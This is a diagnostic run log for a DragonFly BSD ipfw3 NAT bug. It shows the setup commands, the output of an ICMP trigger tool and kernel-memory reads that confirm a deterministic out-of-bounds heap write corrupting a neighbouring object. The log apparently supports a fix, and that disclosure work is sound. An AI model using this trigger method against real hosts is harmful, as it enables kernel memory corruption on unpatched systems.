DF-3398 / run.log
DF-3398 BASELINE (stock module) + diagnostic evidence — verbatim guest outputs Guest: DragonFly 6.5-DEVELOPMENT, stock INVARIANTS kernel #0 (module rebuilt from pristine source), 6 vCPU, QEMU vtnet0 10.0.2.15, gateway 10.0.2.2. --- setup --------------------------------------------------------------- # ipfw3 nat 1 config ip 10.0.2.15 # ipfw3 add 100 nat 1 icmp from any to any out via vtnet0 # /root/icmp_oob 5 0xfc 0x1fc 0x2fc 0x3fc | head -4 x=252(0x00fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64512 oob_slots=2 off_past_end=16 x=508(0x01fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64513 oob_slots=3 off_past_end=24 x=764(0x02fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64514 oob_slots=4 off_past_end=32 x=1020(0x03fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64515 oob_slots=5 off_past_end=40 (src/dst printed as inet_ntoa of the host-order u32; real packet src is 1.0.203.204, dst is the solved per-x destination) # ipfw3 show | head -2 00100 8 672 nat 1 icmp out via vtnet0 <- trigger packets matched NAT --- /dev/kmem: qwords past each cpu's cfg_alias allocation end ----------- (ctx chain resolved via module symbol: ip_fw3_nat_ctx[cpu] -> nats[0] -> alias) # for c in 0 1 2 3 4 5; do kcheck $c ... ; done cpu0: + 16: 0xfffff8004f1025c0 + 24: 0x0 + 32: 0x0 cpu1: + 16: 0x000000000f02000a + 24: 0x0 + 32: 0x0 cpu2: + 16: 0x000000000f02000a + 24: 0x0 + 32: 0x0 cpu3: + 16: 0x000000000f02000a + 24: 0x0 + 32: 0x0 cpu4: + 16: 0x000000000f02000a + 24: 0x0 + 32: 0x0 cpu5: READ FAIL (alias at arena edge) Interpretation: * offset +16 past a cfg_alias allocation = the `ip` field (offset 16) of the NEXT cfg_alias in that cpu's kmem arena (verified: next@0=NULL, le_prev@8=<cfg_nat+8 pointer>, ip@16=0x0f02000a==10.0.2.15 network u32). * cpus 1..4: neighbour ip intact (0x0f02000a). * cpu0 (the cpu the stack picked for the raw ICMP flow): neighbour alias ip REPLACED by 0xfffff8004f1025c0 = an M_IPFW3_NAT heap pointer (struct nat_state2) -- the OOB store `alias->icmp_in[raw 64512] = s2` from the x=0xfc trigger. Cross-object heap corruption at the exact computed offset. --- instrumented module (diagnostic build, not part of fix.diff) -------- kprintf in the ICMP case confirms which raw index the stock code uses: # dmesg | grep NATDBG NATDBG: icmp-state-case src=0100cbcc dst=8886ad51 NATDBG: icmp store idx=764 rawport=64514 <- raw index 64514 == OOB NATDBG: icmp-state-case src=0100cbcc dst=0300c8f6 NATDBG: icmp store idx=1020 rawport=64515 <- raw index 64515 == OOB (rawport is s->alias_port as stored by :310, i.e. the exact value the stock :326 store uses as icmp_in[] index; idx is the host-order residue.) --- arithmetic note ------------------------------------------------------ x = (uint32_t)(src_host * dst_host) % 64511 -- the C product WRAPS mod 2^32 raw index = htons(x) = bswap16(x) on LE; OOB iff low byte of x >= 0xFC (1012 of 64511 residues, ~1.57% of flows). The trigger brute-forces dst so that x lands on the requested residue, making the OOB slot deterministic.